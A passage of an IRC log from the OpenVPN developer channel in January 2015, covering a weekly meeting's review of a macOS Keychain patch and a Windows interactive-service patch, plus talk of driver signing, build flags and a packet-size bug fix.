https://community.openvpn.net/openvpn/wiki/WhyMyOpenVPNTunnelDoesNot 06:56 <@vpnHelper> Title: WhyMyOpenVPNTunnelDoesNot – OpenVPN Community (at community.openvpn.net) 07:50 <+krzee> nice entry 07:52 <@mattock> krzee: a bit hastily compiled, but yes :) 07:52 <@mattock> at least it's a common question/complaint 07:52 <+krzee> it is, i had no solution for it 07:53 <@mattock> we should probably look into integrating the NSSM into OpenVPN or something 07:53 <+krzee> !sleep 07:53 <@mattock> it's public domain code 07:53 <+krzee> toss it into the next meeting 08:50 <@mattock> next meeting is packed, but the meeting after that might be doable 08:50 <@mattock> somebody needs to do some research first, and that someone is probably me :) 08:50 <@mattock> I'll add ticket for that 09:02 <@mattock> edited the FAQ item a bit 09:26 < _bt_> that NSSM should be fairly simple to implement into the installer 09:26 < _bt_> its just 1 exe and doesn't need install.. 09:29 <@plaisthos> wwhat exactly is the problem there? 09:30 <@plaisthos> openvpn not reconnecting? 09:30 <@plaisthos> openvpn process dying? 10:14 <@cron2> why oh why are people mailing security@openvpn.net and then open the mail with "dear support"... 10:14 <@cron2> (and it's obviously a "I'm a user and I want something"-type mail) 10:15 <@cron2> plaisthos: both :-) - service not shutting down openvpn at suspend-event, not restarting properly after suspend, and not restarting after openvpn dies 10:23 <@mattock> cron2: because people are stupid, lazy or can't read, or any combination of the three? :P 12:10 <@plaisthos> mattock: I was lazy *ducks* 12:33 <@cron2> plaisthos: yeah, something like that. Talking about lazy, there's two patches from me that are waiting for feedback... :-) 12:34 <@plaisthos> cron2: i know :) 12:34 <@plaisthos> there is also an almost finished timeout patch from me 12:34 <@plaisthos> that breaks static mode 12:34 <@cron2> meh 12:35 <@plaisthos> after 180s openvpn detects no finished tls handshake and reconnects :) 15:56 <@mattock> guys: James said he can (probably) make it to the meeting on Monday 15:57 <@mattock> "Yes, I think I can make it" were his exact words :) 16:08 -!- mattock is now known as mattock_afk 16:30 < ender|> <cron2> why oh why are people mailing security@openvpn.net and then open the mail with "dear support"... <- because the address is too easy to find 16:30 < ender|> (or guess) 16:39 * cron2 argues that support@openvpn.net might be more logical and not that hard to guess... 16:39 < ender|> but everybody uses support@, so writing to security@ will get me an answer faster! 16:40 <@cron2> it does indeed. Usually it's a "go away, stupid" response, though :-) 16:44 < ender|> they don't think that far ahead --- Day changed Sat Jan 17 2015 06:33 -!- mattock_afk is now known as mattock 08:27 -!- mattock is now known as mattock_afk 15:33 -!- 7JTAB3J4F is now known as lev__ 17:36 <@syzzer> Hmm. I will not be able to make to the meeting this Monday, but since I don't know much about osx, I think you don't really need me there anyway --- Day changed Sun Jan 18 2015 02:46 -!- mattock_afk is now known as mattock 05:57 <@mattock> syzzer: ok 05:58 <@mattock> what we need is jamesyonan, segoon and d12fk at least 06:03 <@syzzer> and probably plaisthos, for the osx stuff? 06:24 <@cron2> I'll be sitting in a bus from munich to zurich - no idea whether it acutally works but they promise on-board wifi... 07:57 <@mattock> syzzer: yeah, plaisthos would be good to have 08:26 <@syzzer> mattock: what do you use to create the NDIS6 tap driver installer? 08:26 <@syzzer> the same nsi scripts as for the NDIS5 one? 11:39 <@mattock> syzzer: basically yes 11:39 <@mattock> I have the tap-windows6 installer integrated into my private tap-windows6 git tree, but I haven't had luck getting James to review the changes 11:40 <@mattock> I'll probably have to just push my changes to the official repo and let james know he may have to fix things at his end 12:02 <@syzzer> oh, nice, I didn't notice your tap-windows6 fork yet 12:53 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 12:54 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 13:11 <@mattock> syzzer: it's quite likely that my github fork of tap-windows6 is not fully functional 13:11 <@mattock> I think I'll dump my current tap-windows6 fork and rebuild it with correct content 13:11 <@mattock> tomorrow 13:21 -!- mattock is now known as mattock_afk 16:29 -!- SviMik [~pIRCuser8@131-250-35-213.dyn.estpak.ee] has joined #openvpn-devel 17:37 < SviMik> hi! I have a question about 17:37 < SviMik> !obfs 17:38 < SviMik> (well, if this bot doesn't work, I'll do the job) 17:38 < SviMik> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used. in 17:38 <@vpnHelper> Title: TrafficObfuscation – OpenVPN Community (at community.openvpn.net) 17:38 < SviMik> is there is a chance to add obfuscation into ovpn? 17:38 < SviMik> only if I could find the right place to insert an obfuscation code... maybe simple XORing would be enough to stop firewall from recognition 17:38 < SviMik> maybe somebody can say which file should I look for? 17:41 < esde> why deal in maybe's when obfsproxy works. gather the knowledge to deploy client instances with openvpn+obfsproxy+configuration at once, and you're good. It will be more work to alter the codebase, than to make the existing solution to your problem work. But that's my two cents. 17:43 < SviMik> so, we need to make a cross-platform openvpn+obfsproxy installer? well, if obfsproxy can run in win/linux/mac, it sounds possible, but i'm not sure which way is easier 17:44 < SviMik> need somebody who knows the code to say "it's simple" or "it's better not to touch" :) 17:46 < SviMik> if it's better not to touch, then yes, we will try to make an obfsproxy installer 17:47 < SviMik> but if it's just a few lines of code... 17:48 < esde> Good luck! 17:51 < esde> https://forums.openvpn.net/topic12605.html 17:51 <@vpnHelper> Title: OpenVPN Support Forum Patch: Fix for Iran and China users : Scripting and Customizations (at forums.openvpn.net) 17:51 < esde> One's attempts at a goal similar to yours 17:54 < SviMik> I'm not alone :) 17:54 < SviMik> and why I forgot to google... 17:55 < esde> No there are other people foolishly trying to reinvent the wheel in the same way 19:24 -!- SviMik [~pIRCuser8@131-250-35-213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru] 19:35 -!- You're now known as ecrist 21:25 -!- ampsix [uid26275@gateway/web/irccloud.com/x-xhbckuumxkdzabmn] has joined #openvpn-devel 22:21 -!- mattock_afk is now known as mattock --- Day changed Mon Jan 19 2015 00:53 -!- ampsix [uid26275@gateway/web/irccloud.com/x-xhbckuumxkdzabmn] has quit [Quit: Connection closed for inactivity] 03:56 <@d12fk> mattock: I can join 04:41 -!- pasik [pk@reaktio.net] has joined #openvpn-devel 08:04 <@plaisthos> I won't have time today unfortenately 08:04 <@plaisthos> !meeting 08:20 <@mattock> d12fk: excellent, see you there :) 12:00 -!- jamesyonan [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has joined #openvpn-devel 12:00 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:08 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Quit: floppym] 12:14 <@d12fk> it's i one hour right 12:24 <@mattock> yes 12:24 <@mattock> 36 minutes to be exact 12:25 <+krzee> hey cool im going to make this one! 12:25 <+krzee> yay for vacation =] 12:25 <@mattock> krzee: nice! 12:26 <+krzee> im actually probably pretty close to openvpn technologies 12:26 <+krzee> they still in the san francisco area? 12:27 <+krzee> ya im 40min away 12:28 <+krzee> too bad like nobody here is actually there :D 12:30 <@mattock> raidz probably is 12:47 -!- segoon [~vasya@ppp83-237-13-19.pppoe.mtu-net.ru] has joined #openvpn-devel 12:50 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:50 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:50 < segoon> hi, I'm the author of keychain patch 12:53 <@mattock_> hi! 12:54 <@mattock_> 6 minutes and we go live 13:01 <@mattock_> okay 13:01 <@plaisthos> I am here 13:01 <@mattock_> hi plaisthos! 13:01 <@mattock_> who else? 13:03 <@mattock> jamesyonan, d12fk, cron2? 13:03 <@jamesyonan> hi guys 13:04 -!- Envil [~meep@e182061137.adsl.alicedsl.de] has joined #openvpn-devel 13:04 <@d12fk> hi 13:06 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 13:06 <@mattock> hi 13:06 <@mattock> let's start 13:06 <@mattock> cron2 might join us if his connectivity on the train is good enough 13:07 <@mattock> topics here: https://community.openvpn.net/openvpn/wiki/Topics-2015-01-19 13:07 <@vpnHelper> Title: Topics-2015-01-19 – OpenVPN Community (at community.openvpn.net) 13:07 <@mattock> first topic is segoon's "Mac OS X Keychain management client" 13:07 <@mattock> second version of the keychain patch 13:08 <@mattock> we simply did not have time to review this last week, so now it's topic #1 13:13 <@mattock> plaisthos, jamesyonan: any thoughts? 13:13 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/9392 13:13 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:14 <@jamesyonan> segoon: so does this iteration of the patch query the management interface to do the RSA signing? 13:15 < segoon> jamesyonan: right 13:22 <@mattock> jamesyonan: how does that patch look? 13:22 <@jamesyonan> looking at it now -- seems okay 13:23 <@mattock> ACKable? 13:23 <@jamesyonan> so you've added management-external-cert directive as well 13:23 < segoon> yes 13:24 < segoon> it would look better if it looked like rsa-sign 13:24 < segoon> (multiline argument) 13:24 <@jamesyonan> how is the client certificate actually selected from the keychain? 13:24 < segoon> but I hesitated to add specific cmd for that 13:24 < segoon> absolutely the same way as in the first revision of the patch 13:25 <@jamesyonan> so the config file has to identity the cert? 13:25 < segoon> look at findIdentity(): SecItemCopyMatching()+SecIdentityCopyCertificate() 13:26 < segoon> what do you mean by 'config file'? 13:26 <@jamesyonan> openvpn config file 13:27 -!- AnCron [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 13:27 -!- mode/#openvpn-devel [+o AnCron] by ChanServ 13:27 < segoon> I've implemented keychain stuff as an external daemon, cert template is passed as a cmdline arg 13:27 <@mattock> AnCron: welcome :) 13:27 < segoon> if you run it automatically when openvpn is started then yes, config contains this cert template string 13:28 <@AnCron> Whee, this works :) 13:28 <@mattock> yep 13:28 <@mattock> we've been discussing the MacOS X keychain patch: 13:28 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/9392 13:28 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:32 <@jamesyonan> So when keychain-mcd is doing the SecItemCopyMatching to find the identity, what criteria is it using, i.e. how is the identity configured? 13:35 < segoon> user passes an identity template, like 'subject:c=ru' 13:35 < segoon> findIdentity() iterates over all identities and tries to match this template with current identity 13:35 < segoon> if >0 identities are matched, then the freshest identity is chosed 13:36 < segoon> *chosen 13:36 < segoon> if no identity matches the template, it is an error, obviously 13:36 <@jamesyonan> For example, if I'm implementing a UI, I might want to show the user a list of possible identities and allow them to choose one 13:37 <@jamesyonan> that UI would then need to interact with keychain-mcd in some way to do this? 13:37 < segoon> I think UI can iterate over all identities itself and choose any identity, save its SHA hash and pass it to keychain-mcd as a template 13:38 < segoon> MD5 or SHA1 hash 13:38 < segoon> via 'SHA1: 30 F7 3A ...' or "MD5: D5 F5 11...' template 13:38 <@jamesyonan> so UI could choose a specific identity from keychain and then pass it to keychain-mcd using its hash? 13:39 < segoon> right, it is possible to choose a specific identity by its hash, serial number or any other unique property 13:40 < segoon> or, alternatively, user is able to choose an identity by subject:cn= and issuer:*anything* 13:42 -!- AnCron [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] 13:43 <@jamesyonan> a couple more points… looking at cert_to_pem function. I'm not very comfortable with too much arithmetic in the size argument of malloc that, if wrong, might generate a buffer overflow later on. 13:43 <@jamesyonan> can you use some kind of wrapper when constructing the string that guarantees that no buffer overflow can occur, such as by using struct buffer? 13:45 <@jamesyonan> I think that's better than writing to a buffer without constraint, on the assumption that the size parameter passed to malloc is exactly correct 13:45 < segoon> yes, it would look much better 13:47 <@jamesyonan> another thing: you've bumped up USER_PASS_LEN from 128 to 12800 -- that's quite a large increase. 13:47 < segoon> right, that's one thing that I'm not proud of 13:48 < segoon> I'd prefer a kind of dynamic buffer 13:48 <@jamesyonan> agreed -- dynamic buffer would be better 13:49 <@jamesyonan> why did you need to increase it so much? 13:49 < segoon> or -- moving from needok cmd to something else that doesn't use struct user_pass 13:50 < segoon> 12800 is an arbitrary number, but the old limit was too low for certificate passing 13:50 < segoon> certificate is passed as base64-encoded string, in a second argument of needok 13:51 < segoon> needok cert big-string 13:51 <@jamesyonan> you also increased OPTION_PARM_SIZE quite a bit 13:51 < segoon> right, I had to increase several limits 13:51 <@jamesyonan> all of these will negatively affect memory consumption even in cases where your code is not used 13:52 < segoon> I tried to find anything with no hardcoded data limit like rsa-sign, but failed 13:53 < segoon> rsa-sign is quite nonextendable to other usages 13:53 < segoon> rsa-sign's format is ideal for me -- the same big base64 string divided into multiple lines 13:57 <@jamesyonan> so you are actually transmitting full certs via user/pass struct? 13:57 < segoon> yes 13:58 <@jamesyonan> why not just transmit the fingerprint? 13:58 < segoon> for what? 13:59 < segoon> to make it possible for openvpn to obtain the cert from keychain? 14:00 < segoon> the thing is that keychain query is 80% of the code 14:00 <@jamesyonan> I think I see -- you need the whole cert for managment-query-cert not just for cert selection? 14:00 <@jamesyonan> there are existing pathways in the management interface for dealing with multi-line queries 14:02 <@jamesyonan> for example client-auth and client-pf are multi-line queries 14:02 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:03 <@jamesyonan> it just seems wrong to expand USER_PASS_LEN by 100x because you want to pass new data types that are not really user/pass data. 14:04 < segoon> agreed, I looked at Android stuff, it uses user_pass but the param length was very short 14:04 < segoon> looking into client-auth.. 14:04 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 272 seconds] 14:09 < segoon> I don't fully understand how params are passed, simply via p[]? 14:09 < segoon> up to 'END' line, right? 14:11 < segoon> no, I'm wrong 14:13 < segoon> ah, callback is called for each line until man->connection.in_extra == NULL 14:14 <@jamesyonan> see #ifdef MANAGEMENT_IN_EXTRA stuff 14:16 < segoon> yes, it is much simplier than current approach 14:16 < segoon> but it need another command type 14:17 < segoon> like 'NEED-CERT' as a server request and 'certificate' as client answer 14:17 <@jamesyonan> I think it would be cleaner to add another command type because passing certs in the managment interface isn't something we've done before 14:18 <@jamesyonan> agreed, NEED-CERT seems like a better approach 14:18 < segoon> I like the idea 14:19 < segoon> in this case no limits (line, param, pass, etc.) should be increased 14:19 < segoon> I'll fix this in the next patch version 14:19 <@jamesyonan> okay, sounds good 14:20 < segoon> any other questions to discuss? 14:21 <@jamesyonan> no, I think we can move on 14:21 <@mattock> ok :) 14:21 <@mattock> good discussion 14:21 <@mattock> d12fk: still there? 14:21 < segoon> okay, thank you for the critique 14:21 <@d12fk> jup 14:21 <@mattock> segoon: good you could make it! 14:21 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/9237 14:21 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:21 <@cron2> +1 14:22 <@mattock> jamesyonan: as I mentioned, d12fk's patch was reviewed except for the Windows-specific bits 14:22 < segoon> good night everybody 14:22 <@mattock> good night! 14:22 <@d12fk> night 14:22 <@mattock> so now we'd need to have a look at the Windows part 14:23 -!- segoon [~vasya@ppp83-237-13-19.pppoe.mtu-net.ru] has quit [Quit: WeeChat 0.3.7] 14:24 <@d12fk> jamesyonan: mostly what's happening in interactive.c 14:26 <@jamesyonan> do you have a link to the latest patch? 14:27 <@d12fk> do you want the code or a patch (patch is huge) 14:28 <@jamesyonan> patch is fine 14:28 <@d12fk> http://sourceforge.net/p/openvpn-gui/openvpn/ci/8195efc0d8841b52217643a43d486cda2e171fea/ 14:30 <@jamesyonan> how do you ensure that the pipe can't be hijacked by another process? 14:31 <@d12fk> do you mean the pipe between the service and openvpn? 14:31 <@jamesyonan> yeah 14:32 <@d12fk> let me check, it has been a while 14:34 <@cron2> iirc user access rights 14:35 <+novaflash> NO WAY 14:36 <+novaflash> this was totally a coincidence 14:36 <+novaflash> but i'm glad to see the admin rights issue is on the table :-D 14:36 <@jamesyonan> for example, could a rogue process impersonate openvpn.exe and get the service to do stuff that would normally not be allowed for non-admin processes to do, like add a default route to the routing table? 14:37 <@mattock> novaflash is referring to a feature request he just made to me, without knowing anything about d12fk's patch :) 14:37 <+novaflash> amazing coincidence 14:37 <@d12fk> the handle for the pipe is inherited by the child process (openvpn) and ovpn duplicates it so it so it can use it. other processes cannot duplicate the handle because they cannot access openvpn's memory 14:38 <@d12fk> the trick is that ovpn is run as the user that requested it to run, but the process owner is the service 14:38 <@cron2> anonymous pipe 14:38 <@d12fk> so no one but the system user can modify the DACL 14:38 <@jamesyonan> so the service actually spawns openvpn.exe but impersonating the creds of the UI client? 14:39 <@d12fk> yes 14:39 <@jamesyonan> do you check that openvpn.exe cannot have been moved or modified by non-admin user? 14:40 <@d12fk> no currently i trust that ProgramFiles\* is not modifyable by users (it is by default) 14:42 <@mattock> d12fk: or "Program Files (x86)" I presume? 14:42 <@d12fk> mattock: depends on how you built it =P 14:43 <@cron2> ok, i'm off again... bus arriving, go find hotel 14:43 <@d12fk> bye 14:43 <@mattock> cron2: bye! 14:43 <+novaflash> for a guy with the nickname for a scheduling program, he has bad timing 14:44 <@cron2> :-P 14:48 <@mattock> jamesyonan: reviewing the patch? 14:49 <@mattock> reading I mean 14:49 <@jamesyonan> I assume you're aware of the popular CreateProcess vulnerability where if you forget to quote the exe path, you can end up executing c:\Program.exe ? 14:49 <@jamesyonan> yes, so far the patch looks fine 14:49 <@mattock> great! 14:50 <@mattock> I will have to check out in 10 minutes, but my presence is hardly necessary 14:52 <@d12fk> jamesyonan: not sur what you are refering to but i've read the man page back then and made sure all the pitfalls do not apply 14:52 <@jamesyonan> I've gotta run too -- so far patch looks good, though. 14:52 <@d12fk> *msdn page 14:52 <@jamesyonan> what are the specific changes you wanted me to review wrt. windows routing? 14:52 <@d12fk> yes keep on reviewin in silent moments and we talk again another monday 14:53 <@mattock> next monday I hope 14:53 <@mattock> so that we don't forget the details 14:53 <+novaflash> d12fk: basically, if you do something like: start c:\program files (x86)\openvpn client\bin\openvpngui.exe, and you have a file called program.exe in c:\, then it will run that instead of assuming it should go to the folder and run the program in that folder. that's the vulnerability. the solution is to enclose with quotes. 14:53 <@jamesyonan> CreateProcess has a well-known vulnerability if you don't quote exe names that have spaces, as most Program Files exe names do 14:54 <@jamesyonan> ok, sound good 14:54 <@d12fk> but you have to quote c strings anyway. dont get it... 14:54 <@jamesyonan> no, quote inside a quote 14:55 <@jamesyonan> If I called CreateProcess with c:\program files\fooapp 14:55 <+novaflash> d12fk: i was oversimplying things but createprocess has a bug/vulnerability in it that leaves out the quotes you put around it, treating your quoted input as unquoted 14:55 <@jamesyonan> then c:\program.exe would be executed if it exists 14:56 <@d12fk> was that appying to the unicode version of it? 14:56 <@jamesyonan> not sure 14:56 <+novaflash> iunno 14:57 <@d12fk> it's years ago i wrote that code. i'll check the docs again 14:59 <@d12fk> ah it only appies if the first param id NULL and you have the path to the binary in the second arg 15:00 <@d12fk> *applies 15:00 <@d12fk> The lpApplicationName parameter can be NULL. In that case, the module name must be the first white space–delimited token in the lpCommandLine string. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin; otherwise, the file name is ambiguous. 15:00 <@d12fk> not doing anything that dirty 15:03 <+krzee> o/ 15:04 <@mattock> ok guys, let's try to resume the review next month 15:04 <@d12fk> k 15:04 <@mattock> sorry, next _week_ :P 15:04 <@mattock> we will eventually get this merged 15:07 <@d12fk> oh next week i am on a train 15:08 <@mattock> we can probably arrange some other day also 15:09 <@mattock> ok, heading out 15:09 <@mattock> good night guys! 15:09 <@jamesyonan> take care all 15:13 * cron2 is in the hotel! (and wishes everyone a good night) 15:20 -!- mattock is now known as mattock_afk 15:23 <@d12fk> leaving too, night 15:33 -!- Envil [~meep@e182061137.adsl.alicedsl.de] has quit [Remote host closed the connection] 15:39 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 20:47 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 20:49 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 20:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Jan 20 2015 00:56 -!- mattock_afk is now known as mattock 02:14 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 245 seconds] 02:18 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:43 <@mattock> cron2: there? 11:48 <@cron2> mattock: uh, could you turn off GPG-encryption in your mails to me? The way your MUA does it ("just send a plain text mail which needs to be manually fed to gpg") is making it very painful to read 11:48 <@cron2> properly MIME tagged mail would be auto-fed to gpg, though... 11:48 <@mattock> hmm, I can check if that's configurable 11:49 <@mattock> anyways, the meat of the matter is that openvpn clients and/or buildslaves need a boot 11:52 <@mattock> cron2: sent you a test email 11:52 <@mattock> does it open properly? 12:14 <@cron2> I could read the buildslave mail, but it was "open mail, manually pipe to gpg" style, which I find not so practical :-) - the latest one worked perfectly well, wbat did you do? 13:14 <@mattock> just enable PGP/MIME by default 13:14 <@mattock> encrypt, sign and use PGP/MIME 13:15 <@cron2> mattock: what MUA do you use? 13:24 -!- mattock is now known as mattock_afk 13:46 -!- jamesyonan [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has quit [Ping timeout: 244 seconds] 18:38 -!- esde [~esde@openvpn/user/esde] has quit [Ping timeout: 264 seconds] 19:13 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 22:39 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 272 seconds] --- Day changed Wed Jan 21 2015 00:27 -!- mattock_afk is now known as mattock 01:21 -!- Haigha [~root@2001:41d0:1:d4e5::1] has joined #openvpn-devel 02:07 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 276 seconds] 05:08 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:49 -!- ampsix [uid26275@gateway/web/irccloud.com/x-lwqlopcdwtbbhhmy] has joined #openvpn-devel 14:08 -!- ad^2 [~ad^2@wsip-70-165-87-18.dc.dc.cox.net] has joined #openvpn-devel 14:34 -!- mattock is now known as mattock_afk 15:26 -!- ampsix is now known as `^-_-^` 15:53 -!- ad^2 [~ad^2@wsip-70-165-87-18.dc.dc.cox.net] has quit [Quit: Leaving] 17:33 -!- `^-_-^` [uid26275@gateway/web/irccloud.com/x-lwqlopcdwtbbhhmy] has quit [Quit: Connection closed for inactivity] 20:06 -!- esde [~esde@openvpn/user/esde] has quit [Ping timeout: 264 seconds] --- Day changed Thu Jan 22 2015 00:48 -!- mattock_afk is now known as mattock 01:30 -!- mattock is now known as mattock_afk 02:09 -!- mattock_afk is now known as mattock 03:00 <@mattock> cron2: I had to discontinue Ubuntu 10.04 and Debian 6 buildslaves because my server was running out of memory 03:00 <@mattock> those are both near EOL, so I don't think that's a big issue 03:41 <@cron2> agree 04:40 <@vpnHelper> RSS Update - gitrepo: Disallow lameduck's float to an address taken by another client <https://github.com/OpenVPN/openvpn/commit/0c0c178a3d3bc541ccf076f99c54d5aa6908cbcb> 04:41 * cron2 reminds that there is more stuff on the list that wants review... 05:07 < lev__> hey, is estimated release date (month) for 2.4 still Feb? 05:11 <@cron2> February, yes. But I'm not sure which year :-( 05:14 < lev__> Would be nice to get there client-connect patch from Fabian 05:35 <@syzzer> cron2: yes, my inbox is filled with starred openvpn mails... 06:00 <@mattock> syzzer: I pushed my tap-windows6 installer into the official tap-windows6 repo 06:01 <@mattock> cron2: we've made good progress on the good old interactive service, so there is hope 08:53 <@mattock> syzzer: I also modified sbuild_wrapper so that adding support for new operating systems is more straightforward - in this case ubuntu 14.04 for which I created official packages 08:54 <@syzzer> mattock: cool! 08:55 <@syzzer> I've been entertaining myself with windows driver signing recently 08:55 <@mattock> ubuntu 14.04 packages were long overdue 08:55 <@mattock> ah, lovely :P 08:55 <@mattock> which tool do you use? 08:55 <@mattock> osslsigncode or some windows thingy? 08:55 <@syzzer> if you ever want to start doing SHA256 signatures properly, I have some pointers for you ;) 08:55 <@syzzer> I use signtool directly 08:55 <@mattock> ok 08:56 <@mattock> openvpn-build users osslsigncode so that's what I use 08:56 <@mattock> however, in the past I've used signtool.exe too 08:56 <@syzzer> can't really send a pull request, because I had to modify (read: destruct) the scripts heavily because I need to do timestamping on a different machine than signing... 08:57 <@mattock> syzzer: are you implying that I'm doing improper SHA256 signatures now? :) 08:57 <@syzzer> I sort of ussumed you do SHA1-only ;) 08:59 * syzzer checks... yep, sha-1 08:59 <@syzzer> you're up for a treat if you decide to do sha2 ;) 09:00 <@mattock> ah, I see 09:00 <@mattock> where exactly? 09:00 <@mattock> windows installers? 09:00 <@syzzer> yes 09:00 <@mattock> ok, so what do I have to look forward to? 09:00 <@mattock> pain? 09:00 <@syzzer> headaches and stuff, yes 09:01 <@mattock> what is causing these headaches exactly? 09:01 <@mattock> "sounds like a trivial change" :D 09:01 <@syzzer> w7 does not understand sha2 driver signatures, because the patch that is supposed to fix is was reverted in october 09:01 <@syzzer> so you'll need to dual-sign the drivers 09:02 <@syzzer> and if you do that the wrong way around, w7 will not grasp it either. sha-1 must come in 'store 0' 09:02 <@mattock> omg 09:03 <@mattock> completely pointless nastiness 09:03 <@syzzer> also, you need to have extra intermediate certs, and separate chains for sha1/sha256, because the chains have to be signed with the same digests from top to bottom (which makes sense, ofc) 09:04 <@syzzer> signtool verify will however not detect many of these errors and windows will just brok was "UNTRUSTED!!!" without further information 09:04 <@syzzer> and of course, none of this is documenten anywhere 09:04 <@syzzer> [/rant] 09:05 <@mattock> I feel the pain 09:05 <@mattock> now will this be fixed at MS end at some point? 09:06 <@syzzer> oh, and if something in your chain from signtool to key (ie a smartcard driver) fails to do sha2, signtool will just throw "internal error" at you 09:06 <@syzzer> yes, MS is actually forcing SHA2 onto CAs and end users, so I expect they will fix their own stuff too at some point... 09:08 <@mattock> I think I'll wait until I'm force-fed SHA2 09:08 <@mattock> ok so SHA2 == SHA256? 09:09 <@syzzer> well, SHA256 is on of the SHA2 members 09:09 <@syzzer> *one 09:09 <@syzzer> I guess you'll enter a whole new world of pain of you want to do SHA384 of SHA512 :p 09:10 <@syzzer> oh, wow, can I actually build the nsis installers with a proper os? 09:15 <@mattock> now some openvpn-build + openvpn-gui.nsi fun... 09:16 <@mattock> syzzer: if "proper OS" on *NIX, then yes 12:50 -!- mattock is now known as mattock_afk 14:21 <@cron2> syzzer: is --disable-ssl still a valid configure flag? 14:22 * cron2 wonders why the buildbts are not barfing 14:22 <@cron2> configure: WARNING: unrecognized options: --disable-ssl 14:22 <@cron2> ah 14:22 <@syzzer> cron2: I would not expect it to be, but maybe it just gets ignored? 14:22 <@cron2> mattock: you can remove these variants :-) 14:22 <@syzzer> ah, there we go :) 14:22 <@cron2> (all my openbsd buildbots failed, but for other reasons) 23:09 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel --- Day changed Fri Jan 23 2015 00:12 -!- mattock_afk is now known as mattock 00:38 <@mattock> cron2: yeah, sure 00:47 <@mattock> --disable-ssl seems like a valid build flag 00:47 <@mattock> are you saying that we want to get rid of it regardless? 00:47 <@mattock> valid according to ./configure --help 01:59 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 02:20 <@syzzer> mattock: should no longer be the case in the master branch 02:22 <@syzzer> (but is is for 2.3, so those still need the --disable-ssl builds) 02:58 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Quit: Leaving.] 07:00 <@mattock> ah yes, I probably have the wrong branch selected... 09:06 <@cron2> mattock: it used to be a valid option until about 4 weeks ago, then syzzer killed it for good :-) 09:06 <@mattock> ic :) 09:06 <@mattock> so --disable-crypto/--enable-crypto is still there? 09:14 <@cron2> mattock: yes, so now you have all-or-nothing (crypto and ssl, or nothing) - simplifies the #ifdef nightmare significantly 09:22 <@mattock> yeah, I'll fix it 09:22 <@mattock> reduces the number of build permutations significantly as a bonus 13:36 <@syzzer> lev__: I think I just found a peer-id bug 13:37 <@syzzer> the buffer sizes are not increased for the peer-id, causing issues with maximum-size packets 13:38 < lev__> syzzer: oho 13:39 <@syzzer> was testing if my AES-GCM code could properly handle maximum-size packet when I got TCP/UDP packet too large on write to [AF_INET]10.1.1.1:1194 warnings 13:39 <@syzzer> well, this is what we have unstable branches for ;) 13:39 < lev__> tell more? 13:39 <@syzzer> I have the fix, so I'll just send the patch in a minute 13:40 <@syzzer> (after I verified this indeed fixes it) 13:47 <@syzzer> lev__: http://pastebin.com/Dynf0FMt 13:48 < lev__> syzzer: I see 13:49 <@syzzer> fix is quite trivial, but the buffer calculation and allocation stuff is madness :p 13:50 <@syzzer> but git bisect is awesome! 13:51 < lev__> I probably have seen this warning, but quite rarely 13:52 < lev__> anything special needed to make it appear? 13:53 <@syzzer> ping 10.8.0.2 -s 1500 13:53 < lev__> btw: thanks for Crypto 1 course hint! 13:54 <@syzzer> you're welcome. are you keeping up? I remember I had to put in some effort. 13:56 < lev__> so far yeah, have still few videos and homework for this week, but it is still Friday. It takes more than 5-7hrs/week, at least for me. 13:56 < lev__> I am making notes and have to pause and rewind a lot 13:57 <@syzzer> I remember spending roughly two nights a week for courses + homework. I did not do any programming assignments 13:59 <@syzzer> I think you're entitled to ACK this patch btw (if you're convinced this is the correct fix, that is) 14:02 < lev__> syzzer: so I have server running and a client. To see it, I just ping with -s 1500, right ? 14:02 <@syzzer> yes, that is what gave me the error 14:02 <@syzzer> though it could be that a CBC block size is hiding the issue 14:03 <@syzzer> if so, try with --cipher none 14:04 <@syzzer> I pinged from server to client, and the client was showing the error iirc 14:05 <@cron2> syzzer: ugh. This means "new 2.3 release" :-/ 14:06 <@syzzer> cron2: not very urgent I think, people need a 'master' server to actually encounter this 14:07 <@cron2> so what happens with CBC ciphers? (This would be the default, right?) 14:08 <@syzzer> CBC cipher force the ciphertext to be a multiple of the block size, which might not perfectly line up with your MTU 14:09 <@cron2> so we might just have missed that because the default cipher gives us 3 byte of 